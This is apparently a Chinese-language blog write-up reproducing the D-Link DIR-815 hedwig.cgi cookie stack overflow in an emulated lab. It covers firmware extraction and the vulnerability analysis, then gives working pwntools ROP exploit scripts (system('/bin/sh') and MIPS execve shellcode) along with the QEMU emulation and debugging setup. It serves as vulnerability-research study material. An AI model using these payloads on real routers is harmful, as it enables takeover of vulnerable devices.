复现的第一个IOT漏洞,算是比较经典的了,网上也有挺多相关的文章。这个漏洞从我复现完到现在有一段时间了,前段时间一直在忙其他事,现在来大致整理一下复现的整个过程,也算是过一个流程吧。
固件解压
安装binwalk
由于新版本binwalk完全重写为Rust语言,故没有setup.py文件,不过可以继续用老版本的binwalk。
git clone https://github.com/ReFirmLabs/binwalk.git cd binwalk git checkout v2.3.2 sudo python3 setup.py install
|
安装依赖
sudo ./deps.sh
sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev git clone https://github.com/devttys0/sasquatch.git cd sasquatch ./build.sh
|
binwalk安装成功后,从官网上先下载下来固件,然后直接运行binwalk -Me DIR-815.bin
即可,文件cgibin便是我们要分析的二进制文件。
后面还要用到一个IDA插件,在这里一起说一下安装过程。
IDA插件MIPSROP安装
ida版本:IDA_Pro_v7.5
下载压缩包,将解压后的所有文件都放到ida根目录下的plugins目录下。然后在ida中执行如下代码:
import mipsrop mipsrop = mipsrop.MIPSROPFinder()
|
简单使用:
mipsrop.find("li .*, 1") mipsrop.find("jr .*") mipsrop.stackfinder()
|
漏洞分析
首先在main函数中进入到hedwigcgi_main()函数,需要命令行参数的第一个参数为”hedwig.cgi”

在hedwigcgi_main()函数中,首先会获取环境变量REQUEST_METHOD,并且该环境变量需要为”POST”,才能正常往下走

然后进入到sess_get_uid(v4)函数,在该函数中会获取环境变量HTTP_COOKIE,并将”=”前部分的内容传给v2,”=”后面的内容传给v4,如果v2等于”uid”才会把v4拼接到a1也就是sess_get_uid函数传进来的v4

接着往下走便是一个栈溢出漏洞,由sprintf函数引发变量v6和前两个字符串会拼接到一起,然后赋给变量v27,变量v6是环境变量HTTP_COOKIE的”=”后面的内容我们可以对其任意赋值,而数组v27只有1024个字节大小,故可以进行栈溢出
qume用户模式
exp.sh
INPUT="w=" # LENGTH=$(echo -n "w=" | wc -c) # echo $LENGTH cookie="uid=`cat payload`" echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=2 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="5799" -g 1234 ./htdocs/web/hedwig.cgi
|
libc的确定:
这里以memset函数为例,程序中第二次调用该函数时,直接跳转到的地址就是memset函数的实际地址,而知道其实际地址后,有两种方法查看其libc偏移,可以直接在libc文件中查看,也可以在gdb中执行vmmap 实际地址
查看其偏移。
这里要说一句,cgibin这个文件一共有2个依赖库和1个动态链接器,而后面要利用到的文件中的system函数是来自libc.so.0这个文件中的,所以要在libc.so.0中查看偏移而不是libgcc_s.so.1

ida中的偏移:
gdb中的数据:
ROP-system
from pwn import * context(os='linux',log_level='debug',arch='mips',endian='little',word_size=32)
libc_base = 0x7f76ca20-0x00034A20 sys_addr = 0x53200+libc_base-1 binsh_addr = 0x0006DFD0+libc_base '''0x00032A98 | addiu $s0,1 | jalr $s1 '''
'''0x000159F4 | move $t9,$s0 | jalr $s0 '''
'''0x00013F8C | move $a0,$s3 | jalr $s6 '''
payload = b"uid="+b'a'*(1005-0x20-4)+p32(sys_addr) payload+=p32(libc_base+0x000159F4) payload+=b'b'*4 payload+=p32(binsh_addr)+b'c'*8 payload+=p32(libc_base+0x00032A98) payload+=b'd'*8+p32(libc_base+0x00013F8C) with open("payload",'wb') as f: f.write(payload) f.close()
|
这个脚本本身是没问题的,但是最后还是会停在这里:
这是因为system(“/bin/sh”)中会调用fork()函数来创建一个新的进程,而用户模式下是不支持多进程的。当然系统模式下是可以的。
ROP–shellcode
from pwn import * context(os='linux',log_level='debug',arch='mips',endian='little',word_size=32)
shellcode = asm(''' slti $a2, $zero, -1 li $t7, 0x69622f2f sw $t7, -12($sp) li $t6, 0x68732f6e sw $t6, -8($sp) sw $zero, -4($sp) la $a0, -12($sp) slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 ''') libc_base = 0x7f76ca20-0x00034A20 sleep_addr = libc_base+0x00056BD0 ".text:000436D0 move $t9, $s3"
".text:00057E50 li $a0, 1"
".text:00037E6C move $t9, $a1"
".text:0003B974 addiu $a1, $sp, 0x24+var_C"
payload = b'a'*(1005-0x20)+b'b'*4+p32(libc_base+0x000436D0) payload += b'b'*4 payload += p32(sleep_addr)+b'c'*20 payload += p32(libc_base+0x00057E50) payload += b'd'*24+b'e'*16 payload += p32(libc_base+0x00037E6C) payload += p32(libc_base+0x0003B974) payload += b'f'*24 payload += shellcode with open("payload",'wb') as f: f.write(payload) f.close()
|
qemu系统模式
执行下面命令,安装相关工具,
sudo apt install net-tools sudo apt-get install bridge-utils sudo apt install uml-utilities
|
分别执行以下命令,也可以将这些命令都写到脚本中,执行脚本文件即可(chmod +x net.sh && ./net.sh),
#!/bin/sh #sudo ifconfig eth0 down sudo brctl addbr br0 #添加一座名为br0的网桥 sudo brctl addif br0 ens33 #在br0中添加一个接口 sudo brctl stp br0 off #如果只有一个网桥,则关闭生成树协议 sudo brctl setfd br0 1 #设置br0的转发延迟 sudo brctl sethello br0 1 #设置br0的hello时间 sudo ifconfig br0 0.0.0.0 promisc up #启用br0接口 sudo ifconfig ens33 0.0.0.0 promisc up #启用网卡接口 sudo dhclient br0 #从dhcp服务器获得br0的IP地址 sudo brctl show br0 #查看虚拟网桥列表 sudo brctl showstp br0 #查看br0的各接口信息 sudo tunctl -t tap0 -u root #创建一个tap0接口,只允许root用户访问 sudo brctl addif br0 tap0 #在虚拟网桥中增加一个tap0接口 sudo ifconfig tap0 0.0.0.0 promisc up #启用tap0接口 sudo brctl showstp br0
|
然后再执行下面这个命令来启动,
sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no
|
对上面这个命令的解释:
参数 |
解释 |
qemu-system-mipsel |
启动qemu模拟器,指定模拟的目标架构是mips |
-M malta |
指定虚拟机的机器类型为Malta,这是一种MIPS架构的开发板 |
-kernel vmlinux-2.6.32-5-4kc-malta |
指定使用的内核文件,这里是Linux内核 |
-hda debian_squeeze_mipsel_standard.qcow2 |
指定虚拟硬盘文件 |
-append “root=/dev/sda1 console=tty0” |
向内核传递启动参数,指定根文件系统的位置为/dev/sda1,并启用控制台输出到tty0(虚拟终端) |
-nographic |
禁用图形界面 |
-net nic |
创建一个虚拟网络接口(nic)用于虚拟机通信 |
-net tap,ifname=tap0,script=no,downscript=no |
指定使用名为tap0的接口,禁用网络脚本防止qemu自动修改网络配置 |
在qemu模拟器中可以看到IP地址,并能在宿主机上ping通便是ok了。
将binwalk解压后的文件系统传到qemu模拟器中
sudo scp -r ./squashfs-root root@192.168.107.135:/root/squashfs-root
|
然后在qemu中的squashfs-root目录下新建一个http_conf
文件写入以下代码(网卡、IP和port要改成自己的)
Umask 026 PIDFile /var/run/httpd.pid LogGMT On #开启log ErrorLog /log #log文件
Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 }
Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } }
Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth0 #对应qemu仿真路由器系统的网卡 Address 192.168.107.135 #qemu仿真路由器系统的IP Port "80" #对应未被使用的端口 Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }
|
接着在物理机上/opt/tools/mipsel
目录中新建 init.sh
文件,写入以下内容,并执行
#! /bin/sh sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo iptables -P INPUT ACCEPT sudo iptables -P FORWARD ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
|
然后在qemu中的squashfs-root目录下创建init.sh
文件,写入以下内容,并执行
#!/bin/bash echo 0 > /proc/sys/kernel/randomize_va_space cp http_conf / cp sbin/httpd / cp -rf htdocs/ / mkdir /etc_bak cp -r /etc /etc_bak rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / rm -rf /htdocs/web/hedwig.cgi rm -rf /usr/sbin/phpcgi rm -rf /usr/sbin/hnap ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/hnap ./httpd -f http_conf
|
最后进到qemu的/squashfs-root/sbin
目录下,执行./httpd -f /root/squashfs-root/http_conf
后,便能在宿主机上正常访问http://192.168.107.135/hedwig.cgi
如下:

#!/bin/bash export CONTENT_LENGTH="11" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat payload`" export REQUEST_METHOD="POST" export REQUEST_URI="2333" echo "winmt=pwner"|./gdbserver.mipsle 192.168.107.128:6666 /htdocs/web/hedwig.cgi #echo "winmt=pwner"|/htdocs/web/hedwig.cgi unset CONTENT_LENGTH unset CONTENT_TYPE unset HTTP_COOKIE unset REQUEST_METHOD unset REQUEST_URI
|
参考文章
[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
D-Link DIR-815路由器溢出漏洞分析 | ZIKH26’s Blog